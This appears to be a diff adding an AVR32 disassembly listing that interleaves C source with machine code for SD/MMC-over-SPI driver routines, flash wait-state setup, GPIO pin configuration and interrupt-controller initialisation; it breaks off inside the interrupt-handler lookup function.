+80002bd8: d4 01 pushm lr + if (sd_mmc_spi_check_presence() == OK) +80002bda: f0 1f 00 09 mcall 80002bfc +80002bde: 30 18 mov r8,1 +80002be0: f0 0c 18 00 cp.b r12,r8 +80002be4: c0 20 breq 80002be8 +80002be6: d8 0a popm pc,r12=0 + { + if (sd_mmc_spi_init_done == false) +80002be8: 48 68 lddpc r8,80002c00 +80002bea: 11 89 ld.ub r9,r8[0x0] +80002bec: 30 08 mov r8,0 +80002bee: f0 09 18 00 cp.b r9,r8 +80002bf2: c0 20 breq 80002bf6 +80002bf4: da 0a popm pc,r12=1 + { + return sd_mmc_spi_internal_init(); +80002bf6: f0 1f 00 04 mcall 80002c04 + } + else + return OK; + } + return KO; +} +80002bfa: d8 02 popm pc +80002bfc: 80 00 ld.sh r0,r0[0x0] +80002bfe: 23 e0 sub r0,62 +80002c00: 00 00 add r0,r0 +80002c02: 01 08 ld.w r8,r0++ +80002c04: 80 00 ld.sh r0,r0[0x0] +80002c06: 29 30 sub r0,-109 + +80002c08 : +//! +//! +//! @return bit +//! The memory is ready -> OK (always) +Bool sd_mmc_spi_init(spi_options_t spiOptions, unsigned int pba_hz) +{ +80002c08: eb cd 40 10 pushm r4,lr +80002c0c: fa c4 ff f8 sub r4,sp,-8 + // Keep SPI options internally + sd_mmc_pba_hz = pba_hz; +80002c10: 48 88 lddpc r8,80002c30 +80002c12: 91 0c st.w r8[0x0],r12 + memcpy( &sd_mmc_opt, &spiOptions, sizeof(spi_options_t) ); +80002c14: 48 88 lddpc r8,80002c34 +80002c16: e8 ea 00 00 ld.d r10,r4[0] +80002c1a: f0 eb 00 00 st.d r8[0],r10 +80002c1e: e8 ea 00 08 ld.d r10,r4[8] +80002c22: f0 eb 00 08 st.d r8[8],r10 + + // Initialize the SD/MMC controller. + return sd_mmc_spi_internal_init(); +80002c26: f0 1f 00 05 mcall 80002c38 +} +80002c2a: e3 cd 80 10 ldm sp++,r4,pc +80002c2e: 00 00 add r0,r0 +80002c30: 00 00 add r0,r0 +80002c32: 01 04 ld.w r4,r0++ +80002c34: 00 00 add r0,r0 +80002c36: 00 f4 st.b --r0,r4 +80002c38: 80 00 ld.sh r0,r0[0x0] +80002c3a: 29 30 sub r0,-109 + +80002c3c : +//! @return false -> the memory is not write-protected (always) +//!/ +Bool sd_mmc_spi_wr_protect(void) +{ + return false; +} +80002c3c: 5e fd retal 0 + +80002c3e : +//!/ +Bool sd_mmc_spi_removal(void) +{ + return false; +// return ((OK == sd_mmc_spi_check_presence()) ? false : true); +} +80002c3e: 5e fd retal 0 + +80002c40 : +} + + + +Ctrl_status sd_mmc_spi_test_unit_ready(void) +{ +80002c40: d4 01 pushm lr + Sd_mmc_spi_access_signal_on(); + switch (sd_mmc_spi_presence_status) +80002c42: 49 b8 lddpc r8,80002cac +80002c44: 11 88 ld.ub r8,r8[0x0] +80002c46: 30 19 mov r9,1 +80002c48: f2 08 18 00 cp.b r8,r9 +80002c4c: c1 70 breq 80002c7a +80002c4e: c0 63 brcs 80002c5a +80002c50: 30 29 mov r9,2 +80002c52: f2 08 18 00 cp.b r8,r9 +80002c56: c2 61 brne 80002ca2 +80002c58: c2 08 rjmp 80002c98 + { + case SD_MMC_REMOVED: + sd_mmc_spi_init_done = false; +80002c5a: 30 09 mov r9,0 +80002c5c: 49 58 lddpc r8,80002cb0 +80002c5e: b0 89 st.b r8[0x0],r9 + if (OK == sd_mmc_spi_mem_check()) +80002c60: f0 1f 00 15 mcall 80002cb4 +80002c64: 30 18 mov r8,1 +80002c66: f0 0c 18 00 cp.b r12,r8 +80002c6a: c0 30 breq 80002c70 +80002c6c: 30 2c mov r12,2 +80002c6e: d8 02 popm pc + { + sd_mmc_spi_presence_status = SD_MMC_INSERTED; +80002c70: 30 19 mov r9,1 +80002c72: 48 f8 lddpc r8,80002cac +80002c74: b0 89 st.b r8[0x0],r9 +80002c76: 30 3c mov r12,3 + Sd_mmc_spi_access_signal_off(); + return CTRL_BUSY; +80002c78: d8 02 popm pc + } + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; + + case SD_MMC_INSERTED: + if (OK != sd_mmc_spi_mem_check()) +80002c7a: f0 1f 00 0f mcall 80002cb4 +80002c7e: 30 18 mov r8,1 +80002c80: f0 0c 18 00 cp.b r12,r8 +80002c84: c0 21 brne 80002c88 +80002c86: d8 0a popm pc,r12=0 + { + sd_mmc_spi_presence_status = SD_MMC_REMOVING; +80002c88: 30 29 mov r9,2 +80002c8a: 48 98 lddpc r8,80002cac +80002c8c: b0 89 st.b r8[0x0],r9 + sd_mmc_spi_init_done = false; +80002c8e: 30 09 mov r9,0 +80002c90: 48 88 lddpc r8,80002cb0 +80002c92: b0 89 st.b r8[0x0],r9 +80002c94: 30 3c mov r12,3 + Sd_mmc_spi_access_signal_off(); + return CTRL_BUSY; +80002c96: d8 02 popm pc + } + Sd_mmc_spi_access_signal_off(); + return CTRL_GOOD; + + case SD_MMC_REMOVING: + sd_mmc_spi_presence_status = SD_MMC_REMOVED; +80002c98: 30 09 mov r9,0 +80002c9a: 48 58 lddpc r8,80002cac +80002c9c: b0 89 st.b r8[0x0],r9 +80002c9e: 30 2c mov r12,2 + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; +80002ca0: d8 02 popm pc + + default: + sd_mmc_spi_presence_status = SD_MMC_REMOVED; +80002ca2: 30 09 mov r9,0 +80002ca4: 48 28 lddpc r8,80002cac +80002ca6: b0 89 st.b r8[0x0],r9 +80002ca8: 30 3c mov r12,3 + } + else + return CTRL_NO_PRESENT; + } +*/ +} +80002caa: d8 02 popm pc +80002cac: 00 00 add r0,r0 +80002cae: 00 0c add r12,r0 +80002cb0: 00 00 add r0,r0 +80002cb2: 01 08 ld.w r8,r0++ +80002cb4: 80 00 ld.sh r0,r0[0x0] +80002cb6: 2b d8 sub r8,-67 + +80002cb8 : + +//_____ D E C L A R A T I O N ______________________________________________ + + +void sd_mmc_spi_mem_init(void) +{ +80002cb8: d4 01 pushm lr + sd_mmc_spi_internal_init(); // Restart Init of SD/MMC card after previous first init +80002cba: f0 1f 00 02 mcall 80002cc0 +} +80002cbe: d8 02 popm pc +80002cc0: 80 00 ld.sh r0,r0[0x0] +80002cc2: 29 30 sub r0,-109 + +80002cc4 : +//! @return Ctrl_status +//! It is ready -> CTRL_GOOD +//! An error occurs -> CTRL_FAIL +//! +Ctrl_status sd_mmc_spi_ram_2_mem(uint32_t addr, const void *ram) +{ +80002cc4: eb cd 40 c0 pushm r6-r7,lr +80002cc8: 18 96 mov r6,r12 +80002cca: 16 97 mov r7,r11 + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); +80002ccc: f0 1f 00 12 mcall 80002d14 + + if (sd_mmc_spi_init_done == false) +80002cd0: 49 28 lddpc r8,80002d18 +80002cd2: 11 89 ld.ub r9,r8[0x0] +80002cd4: 30 08 mov r8,0 +80002cd6: f0 09 18 00 cp.b r9,r8 +80002cda: c0 31 brne 80002ce0 + { + sd_mmc_spi_mem_init(); +80002cdc: f0 1f 00 10 mcall 80002d1c + } + + if (sd_mmc_spi_init_done == true) +80002ce0: 48 e8 lddpc r8,80002d18 +80002ce2: 11 89 ld.ub r9,r8[0x0] +80002ce4: 30 18 mov r8,1 +80002ce6: f0 09 18 00 cp.b r9,r8 +80002cea: c0 40 breq 80002cf2 +80002cec: 30 2c mov r12,2 +80002cee: e3 cd 80 c0 ldm sp++,r6-r7,pc + { + sd_mmc_spi_write_open(addr); +80002cf2: 0c 9c mov r12,r6 +80002cf4: f0 1f 00 0b mcall 80002d20 + if (KO == sd_mmc_spi_write_sector_from_ram(ram)) +80002cf8: 0e 9c mov r12,r7 +80002cfa: f0 1f 00 0b mcall 80002d24 +80002cfe: c0 61 brne 80002d0a + { + sd_mmc_spi_write_close(); +80002d00: f0 1f 00 0a mcall 80002d28 +80002d04: 30 2c mov r12,2 + Sd_mmc_spi_access_signal_off(); + return CTRL_NO_PRESENT; +80002d06: e3 cd 80 c0 ldm sp++,r6-r7,pc + } + sd_mmc_spi_write_close(); +80002d0a: f0 1f 00 08 mcall 80002d28 +80002d0e: e3 cf 80 c0 ldm sp++,r6-r7,pc,r12=0 +80002d12: 00 00 add r0,r0 +80002d14: 80 00 ld.sh r0,r0[0x0] +80002d16: 23 e0 sub r0,62 +80002d18: 00 00 add r0,r0 +80002d1a: 01 08 ld.w r8,r0++ +80002d1c: 80 00 ld.sh r0,r0[0x0] +80002d1e: 2c b8 sub r8,-53 +80002d20: 80 00 ld.sh r0,r0[0x0] +80002d22: 22 98 sub r8,41 +80002d24: 80 00 ld.sh r0,r0[0x0] +80002d26: 24 5c sub r12,69 +80002d28: 80 00 ld.sh r0,r0[0x0] +80002d2a: 22 08 sub r8,32 + +80002d2c : +//------------ Standard functions for read/write 1 sector to 1 sector ram buffer ----------------- + +#if ACCESS_MEM_TO_RAM == ENABLED + +Ctrl_status sd_mmc_spi_mem_2_ram(uint32_t addr, void *ram) +{ +80002d2c: eb cd 40 c0 pushm r6-r7,lr +80002d30: 18 97 mov r7,r12 +80002d32: 16 96 mov r6,r11 + Sd_mmc_spi_access_signal_on(); + sd_mmc_spi_check_presence(); +80002d34: f0 1f 00 11 mcall 80002d78 + + if (sd_mmc_spi_init_done == false) +80002d38: 49 18 lddpc r8,80002d7c +80002d3a: 11 89 ld.ub r9,r8[0x0] +80002d3c: 30 08 mov r8,0 +80002d3e: f0 09 18 00 cp.b r9,r8 +80002d42: c0 31 brne 80002d48 + { + sd_mmc_spi_mem_init(); +80002d44: f0 1f 00 0f mcall 80002d80 + } + + if (sd_mmc_spi_init_done != true) +80002d48: 48 d8 lddpc r8,80002d7c +80002d4a: 11 89 ld.ub r9,r8[0x0] +80002d4c: 30 18 mov r8,1 +80002d4e: f0 09 18 00 cp.b r9,r8 +80002d52: c0 40 breq 80002d5a +80002d54: 30 2c mov r12,2 +80002d56: e3 cd 80 c0 ldm sp++,r6-r7,pc + return CTRL_NO_PRESENT; + + if( !sd_mmc_spi_read_open(addr) ) +80002d5a: 0e 9c mov r12,r7 +80002d5c: f0 1f 00 0a mcall 80002d84 +80002d60: c0 a0 breq 80002d74 + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_sector_to_ram(ram)) +80002d62: 0c 9c mov r12,r6 +80002d64: f0 1f 00 09 mcall 80002d88 +80002d68: c0 60 breq 80002d74 + goto sd_mmc_spi_mem_2_ram_fail; + + if( !sd_mmc_spi_read_close() ) +80002d6a: f0 1f 00 09 mcall 80002d8c +80002d6e: 5f 0c sreq r12 +80002d70: e3 cd 80 c0 ldm sp++,r6-r7,pc +80002d74: e3 cf 90 c0 ldm sp++,r6-r7,pc,r12=1 +80002d78: 80 00 ld.sh r0,r0[0x0] +80002d7a: 23 e0 sub r0,62 +80002d7c: 00 00 add r0,r0 +80002d7e: 01 08 ld.w r8,r0++ +80002d80: 80 00 ld.sh r0,r0[0x0] +80002d82: 2c b8 sub r8,-53 +80002d84: 80 00 ld.sh r0,r0[0x0] +80002d86: 22 c0 sub r0,44 +80002d88: 80 00 ld.sh r0,r0[0x0] +80002d8a: 26 ec sub r12,110 +80002d8c: 80 00 ld.sh r0,r0[0x0] +80002d8e: 22 b0 sub r0,43 + +80002d90 : +} + + + +Ctrl_status sd_mmc_spi_read_capacity(uint32_t *nb_sector) +{ +80002d90: eb cd 40 80 pushm r7,lr +80002d94: 18 97 mov r7,r12 +// sd_mmc_spi_check_presence(); // ommited because creates interferences with "sd_mmc_spi_test_unit_ready()" function + Sd_mmc_spi_access_signal_on(); + + if (sd_mmc_spi_init_done == false) +80002d96: 48 c8 lddpc r8,80002dc4 +80002d98: 11 89 ld.ub r9,r8[0x0] +80002d9a: 30 08 mov r8,0 +80002d9c: f0 09 18 00 cp.b r9,r8 +80002da0: c0 31 brne 80002da6 + { + sd_mmc_spi_mem_init(); +80002da2: f0 1f 00 0a mcall 80002dc8 + } + + if (sd_mmc_spi_init_done == true) +80002da6: 48 88 lddpc r8,80002dc4 +80002da8: 11 89 ld.ub r9,r8[0x0] +80002daa: 30 18 mov r8,1 +80002dac: f0 09 18 00 cp.b r9,r8 +80002db0: c0 40 breq 80002db8 +80002db2: 30 2c mov r12,2 +80002db4: e3 cd 80 80 ldm sp++,r7,pc + { + *nb_sector = sd_mmc_spi_last_block_address+1; +80002db8: 48 58 lddpc r8,80002dcc +80002dba: 70 08 ld.w r8,r8[0x0] +80002dbc: 2f f8 sub r8,-1 +80002dbe: 8f 08 st.w r7[0x0],r8 +80002dc0: e3 cf 80 80 ldm sp++,r7,pc,r12=0 +80002dc4: 00 00 add r0,r0 +80002dc6: 01 08 ld.w r8,r0++ +80002dc8: 80 00 ld.sh r0,r0[0x0] +80002dca: 2c b8 sub r8,-53 +80002dcc: 00 00 add r0,r0 +80002dce: 04 0c add r12,r2 + +80002dd0 : +} + + +void flashc_set_wait_state(unsigned int wait_state) +{ + u_avr32_flashc_fcr_t u_avr32_flashc_fcr = {AVR32_FLASHC.fcr}; +80002dd0: fe 68 14 00 mov r8,-125952 +80002dd4: 70 09 ld.w r9,r8[0x0] + u_avr32_flashc_fcr.FCR.fws = wait_state; +80002dd6: f3 dc d0 c1 bfins r9,r12,0x6,0x1 + AVR32_FLASHC.fcr = u_avr32_flashc_fcr.fcr; +80002dda: 91 09 st.w r8[0x0],r9 +} +80002ddc: 5e fc retal r12 +80002dde: d7 03 nop + +80002de0 : + + +void flashc_set_bus_freq(unsigned int cpu_f_hz) +{ +80002de0: d4 01 pushm lr + if(cpu_f_hz >= AVR32_FLASHC_FWS_0_MAX_FREQ) +80002de2: e0 68 8a 3f mov r8,35391 +80002de6: ea 18 01 f7 orh r8,0x1f7 +80002dea: 10 3c cp.w r12,r8 +80002dec: e0 88 00 06 brls 80002df8 + { + // Set 1 WS. + flashc_set_wait_state(1); +80002df0: 30 1c mov r12,1 +80002df2: f0 1f 00 04 mcall 80002e00 +80002df6: d8 02 popm pc + } + else + { + // Set 0 WS. + flashc_set_wait_state(0); +80002df8: 30 0c mov r12,0 +80002dfa: f0 1f 00 02 mcall 80002e00 +80002dfe: d8 02 popm pc +80002e00: 80 00 ld.sh r0,r0[0x0] +80002e02: 2d d0 sub r0,-35 + +80002e04 : +} + + +int gpio_enable_module_pin(uint32_t pin, uint32_t function) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; +80002e04: f8 08 16 05 lsr r8,r12,0x5 +80002e08: a9 68 lsl r8,0x8 +80002e0a: e0 28 f0 00 sub r8,61440 + + // Enable the correct function. + switch (function) +80002e0e: 58 1b cp.w r11,1 +80002e10: c0 d0 breq 80002e2a +80002e12: c0 63 brcs 80002e1e +80002e14: 58 2b cp.w r11,2 +80002e16: c1 00 breq 80002e36 +80002e18: 58 3b cp.w r11,3 +80002e1a: c1 40 breq 80002e42 +80002e1c: 5e ff retal 1 + { + case 0: // A function. + gpio_port->pmr0c = 1 << (pin & 0x1F); +80002e1e: 30 19 mov r9,1 +80002e20: f2 0c 09 49 lsl r9,r9,r12 +80002e24: 91 69 st.w r8[0x18],r9 + gpio_port->pmr1c = 1 << (pin & 0x1F); +80002e26: 91 a9 st.w r8[0x28],r9 +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; +80002e28: c1 28 rjmp 80002e4c + + case 1: // B function. + gpio_port->pmr0s = 1 << (pin & 0x1F); +80002e2a: 30 19 mov r9,1 +80002e2c: f2 0c 09 49 lsl r9,r9,r12 +80002e30: 91 59 st.w r8[0x14],r9 + gpio_port->pmr1c = 1 << (pin & 0x1F); +80002e32: 91 a9 st.w r8[0x28],r9 +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; +80002e34: c0 c8 rjmp 80002e4c + + case 2: // C function. + gpio_port->pmr0c = 1 << (pin & 0x1F); +80002e36: 30 19 mov r9,1 +80002e38: f2 0c 09 49 lsl r9,r9,r12 +80002e3c: 91 69 st.w r8[0x18],r9 + gpio_port->pmr1s = 1 << (pin & 0x1F); +80002e3e: 91 99 st.w r8[0x24],r9 +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; +80002e40: c0 68 rjmp 80002e4c + + case 3: // D function. + gpio_port->pmr0s = 1 << (pin & 0x1F); +80002e42: 30 19 mov r9,1 +80002e44: f2 0c 09 49 lsl r9,r9,r12 +80002e48: 91 59 st.w r8[0x14],r9 + gpio_port->pmr1s = 1 << (pin & 0x1F); +80002e4a: 91 99 st.w r8[0x24],r9 + default: + return GPIO_INVALID_ARGUMENT; + } + + // Disable GPIO control. + gpio_port->gperc = 1 << (pin & 0x1F); +80002e4c: 30 19 mov r9,1 +80002e4e: f2 0c 09 4c lsl r12,r9,r12 +80002e52: 91 2c st.w r8[0x8],r12 +80002e54: 5e fd retal 0 +80002e56: d7 03 nop + +80002e58 : + */ +//! @{ + + +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ +80002e58: d4 21 pushm r4-r7,lr +80002e5a: 18 97 mov r7,r12 +80002e5c: 16 94 mov r4,r11 + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) +80002e5e: 58 0b cp.w r11,0 +80002e60: c0 31 brne 80002e66 +80002e62: 30 05 mov r5,0 +80002e64: c0 d8 rjmp 80002e7e +80002e66: 30 06 mov r6,0 +80002e68: 0c 95 mov r5,r6 + { + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); +80002e6a: 0f 9b ld.ub r11,r7[0x1] +80002e6c: 0f 8c ld.ub r12,r7[0x0] +80002e6e: f0 1f 00 06 mcall 80002e84 +80002e72: 18 45 or r5,r12 + gpiomap++; +80002e74: 2f e7 sub r7,-2 +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) +80002e76: 2f f6 sub r6,-1 +80002e78: 0c 34 cp.w r4,r6 +80002e7a: fe 9b ff f8 brhi 80002e6a + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); + gpiomap++; + } + + return status; +} +80002e7e: 0a 9c mov r12,r5 +80002e80: d8 22 popm r4-r7,pc +80002e82: 00 00 add r0,r0 +80002e84: 80 00 ld.sh r0,r0[0x0] +80002e86: 2e 04 sub r4,-32 + +80002e88 : + +#endif + +void gpio_configure_pin(uint32_t pin, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; +80002e88: f8 08 16 05 lsr r8,r12,0x5 +80002e8c: a9 68 lsl r8,0x8 +80002e8e: e0 28 f0 00 sub r8,61440 + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + if (flags & GPIO_PULL_UP) +80002e92: 16 99 mov r9,r11 +80002e94: e2 19 00 04 andl r9,0x4,COH +80002e98: c0 70 breq 80002ea6 + gpio_port->puers = 1 << (pin & 0x1F); +80002e9a: 30 19 mov r9,1 +80002e9c: f2 0c 09 49 lsl r9,r9,r12 +80002ea0: f1 49 00 74 st.w r8[116],r9 +80002ea4: c0 68 rjmp 80002eb0 + else + gpio_port->puerc = 1 << (pin & 0x1F); +80002ea6: 30 19 mov r9,1 +80002ea8: f2 0c 09 49 lsl r9,r9,r12 +80002eac: f1 49 00 78 st.w r8[120],r9 + else + gpio_port->odcr1c = 1 << (pin & 0x1F); +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { +80002eb0: 16 99 mov r9,r11 +80002eb2: e2 19 00 80 andl r9,0x80,COH +80002eb6: c2 40 breq 80002efe + if (flags & GPIO_BOTHEDGES) +80002eb8: 16 99 mov r9,r11 +80002eba: e2 19 01 80 andl r9,0x180,COH +80002ebe: c0 90 breq 80002ed0 + { + gpio_port->imr0c = 1 << (pin & 0x1F); +80002ec0: 30 19 mov r9,1 +80002ec2: f2 0c 09 49 lsl r9,r9,r12 +80002ec6: f1 49 00 a8 st.w r8[168],r9 + gpio_port->imr1c = 1 << (pin & 0x1F); +80002eca: f1 49 00 b8 st.w r8[184],r9 +80002ece: c1 88 rjmp 80002efe + } + else if (flags & GPIO_RISING) +80002ed0: 16 99 mov r9,r11 +80002ed2: e2 19 02 80 andl r9,0x280,COH +80002ed6: c0 90 breq 80002ee8 + { + gpio_port->imr0s = 1 << (pin & 0x1F); +80002ed8: 30 19 mov r9,1 +80002eda: f2 0c 09 49 lsl r9,r9,r12 +80002ede: f1 49 00 a4 st.w r8[164],r9 + gpio_port->imr1c = 1 << (pin & 0x1F); +80002ee2: f1 49 00 b8 st.w r8[184],r9 +80002ee6: c0 c8 rjmp 80002efe + } + else if (flags & GPIO_FALLING) +80002ee8: 16 99 mov r9,r11 +80002eea: e2 19 03 80 andl r9,0x380,COH +80002eee: c0 80 breq 80002efe + { + gpio_port->imr0c = 1 << (pin & 0x1F); +80002ef0: 30 19 mov r9,1 +80002ef2: f2 0c 09 49 lsl r9,r9,r12 +80002ef6: f1 49 00 a8 st.w r8[168],r9 + gpio_port->imr1s = 1 << (pin & 0x1F); +80002efa: f1 49 00 b4 st.w r8[180],r9 + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { +80002efe: f3 db c0 01 bfextu r9,r11,0x0,0x1 +80002f02: c1 50 breq 80002f2c + if (flags & GPIO_INIT_HIGH) +80002f04: e2 1b 00 02 andl r11,0x2,COH +80002f08: c0 70 breq 80002f16 + gpio_port->ovrs = 1 << (pin & 0x1F); +80002f0a: 30 19 mov r9,1 +80002f0c: f2 0c 09 49 lsl r9,r9,r12 +80002f10: f1 49 00 54 st.w r8[84],r9 +80002f14: c0 68 rjmp 80002f20 + else + gpio_port->ovrc = 1 << (pin & 0x1F); +80002f16: 30 19 mov r9,1 +80002f18: f2 0c 09 49 lsl r9,r9,r12 +80002f1c: f1 49 00 58 st.w r8[88],r9 + gpio_port->oders = 1 << (pin & 0x1F); +80002f20: 30 19 mov r9,1 +80002f22: f2 0c 09 49 lsl r9,r9,r12 +80002f26: f1 49 00 44 st.w r8[68],r9 +80002f2a: c0 68 rjmp 80002f36 + } else { + gpio_port->oderc = 1 << (pin & 0x1F); +80002f2c: 30 19 mov r9,1 +80002f2e: f2 0c 09 49 lsl r9,r9,r12 +80002f32: f1 49 00 48 st.w r8[72],r9 + } + + /* Enable GPIO */ + gpio_port->gpers = 1 << (pin & 0x1F); +80002f36: 30 19 mov r9,1 +80002f38: f2 0c 09 4c lsl r12,r9,r12 +80002f3c: 91 1c st.w r8[0x4],r12 +} +80002f3e: 5e fc retal r12 + +80002f40 : + gpio_port->gpers = mask; +} + +int gpio_get_pin_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; +80002f40: f8 08 16 05 lsr r8,r12,0x5 +80002f44: a9 68 lsl r8,0x8 +80002f46: e0 28 f0 00 sub r8,61440 + return (gpio_port->pvr >> (pin & 0x1F)) & 1; +80002f4a: 71 88 ld.w r8,r8[0x60] +80002f4c: f0 0c 0a 4c lsr r12,r8,r12 +} +80002f50: f9 dc c0 01 bfextu r12,r12,0x0,0x1 +80002f54: 5e fc retal r12 + +80002f56 <_unhandled_interrupt>: +__attribute__((__interrupt__)) +#elif (defined __ICCAVR32__) +__interrupt +#endif +static void _unhandled_interrupt(void) +{ +80002f56: c0 08 rjmp 80002f56 <_unhandled_interrupt> + +80002f58 : + + +void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level) +{ + // Determine the group of the IRQ. + unsigned int int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP; +80002f58: f6 08 16 05 lsr r8,r11,0x5 + + // Store in _int_line_handler_table_x the pointer to the interrupt handler, so + // that _get_interrupt_handler can retrieve it when the interrupt is vectored. + _int_handler_table[int_grp]._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] = handler; +80002f5c: 48 99 lddpc r9,80002f80 +80002f5e: f2 08 00 39 add r9,r9,r8<<0x3 +80002f62: f7 db c0 05 bfextu r11,r11,0x0,0x5 +80002f66: 72 19 ld.w r9,r9[0x4] +80002f68: f2 0b 09 2c st.w r9[r11<<0x2],r12 + // Program the corresponding IPRX register to set the interrupt priority level + // and the interrupt vector offset that will be fetched by the core interrupt + // system. + // NOTE: The _intx functions are intermediate assembly functions between the + // core interrupt system and the user interrupt handler. + AVR32_INTC.ipr[int_grp] = ipr_val[int_level & (AVR32_INTC_IPR_INTLEVEL_MASK >> AVR32_INTC_IPR_INTLEVEL_OFFSET)]; +80002f6c: f5 da c0 02 bfextu r10,r10,0x0,0x2 +80002f70: 48 59 lddpc r9,80002f84 +80002f72: f2 0a 03 2a ld.w r10,r9[r10<<0x2] +80002f76: fe 79 08 00 mov r9,-63488 +80002f7a: f2 08 09 2a st.w r9[r8<<0x2],r10 +} +80002f7e: 5e fc retal r12 +80002f80: 80 00 ld.sh r0,r0[0x0] +80002f82: 7e 40 ld.w r0,pc[0x10] +80002f84: 80 00 ld.sh r0,r0[0x0] +80002f86: 7d 3c ld.w r12,lr[0x4c] + +80002f88 : +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +} + +void INTC_init_interrupts(void) +{ +80002f88: d4 21 pushm r4-r7,lr +} + +//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file. +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +80002f8a: 49 18 lddpc r8,80002fcc +80002f8c: e3 b8 00 01 mtsr 0x4,r8 +80002f90: 49 0e lddpc lr,80002fd0 +80002f92: 30 07 mov r7,0 +80002f94: 0e 94 mov r4,r7 + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; +80002f96: 49 0c lddpc r12,80002fd4 + } + + // Set the interrupt group priority register to its default value. + // By default, all interrupt groups are linked to the interrupt priority + // level 0 and to the interrupt vector _int0. + AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0]; +80002f98: 49 08 lddpc r8,80002fd8 +80002f9a: 70 05 ld.w r5,r8[0x0] +80002f9c: fe 76 08 00 mov r6,-63488 +80002fa0: c1 08 rjmp 80002fc0 +} + +//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file. +static __inline__ void INTC_init_evba(void) +{ + Set_system_register(AVR32_EVBA, (int)&_evba ); +80002fa2: 08 98 mov r8,r4 + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; +80002fa4: 7c 1b ld.w r11,lr[0x4] + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) +80002fa6: 7c 0a ld.w r10,lr[0x0] + { + // Assign _unhandled_interrupt as default interrupt handler. + _int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt; +80002fa8: f6 08 09 2c st.w r11[r8<<0x2],r12 + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) +80002fac: 2f f8 sub r8,-1 +80002fae: 10 3a cp.w r10,r8 +80002fb0: fe 9b ff fc brhi 80002fa8 + } + + // Set the interrupt group priority register to its default value. + // By default, all interrupt groups are linked to the interrupt priority + // level 0 and to the interrupt vector _int0. + AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0]; +80002fb4: ec 07 09 25 st.w r6[r7<<0x2],r5 + unsigned int int_grp, int_req; + + INTC_init_evba(); + + // For all interrupt groups, + for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++) +80002fb8: 2f f7 sub r7,-1 +80002fba: 2f 8e sub lr,-8 +80002fbc: 59 27 cp.w r7,18 +80002fbe: c0 50 breq 80002fc8 + { + // For all interrupt request lines of each group, + for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++) +80002fc0: 7c 08 ld.w r8,lr[0x0] +80002fc2: 58 08 cp.w r8,0 +80002fc4: ce f1 brne 80002fa2 +80002fc6: cf 7b rjmp 80002fb4 +80002fc8: d8 22 popm r4-r7,pc +80002fca: 00 00 add r0,r0 +80002fcc: 80 00 ld.sh r0,r0[0x0] +80002fce: 7c 00 ld.w r0,lr[0x0] +80002fd0: 80 00 ld.sh r0,r0[0x0] +80002fd2: 7e 40 ld.w r0,pc[0x10] +80002fd4: 80 00 ld.sh r0,r0[0x0] +80002fd6: 2f 56 sub r6,-11 +80002fd8: 80 00 ld.sh r0,r0[0x0] +80002fda: 7d 3c ld.w r12,lr[0x4c] + +80002fdc <_get_interrupt_handler>: +__int_handler _get_interrupt_handler(unsigned int int_level) +{ + // ICR3 is mapped first, ICR0 last. + // Code in exception.S puts int_level in R12 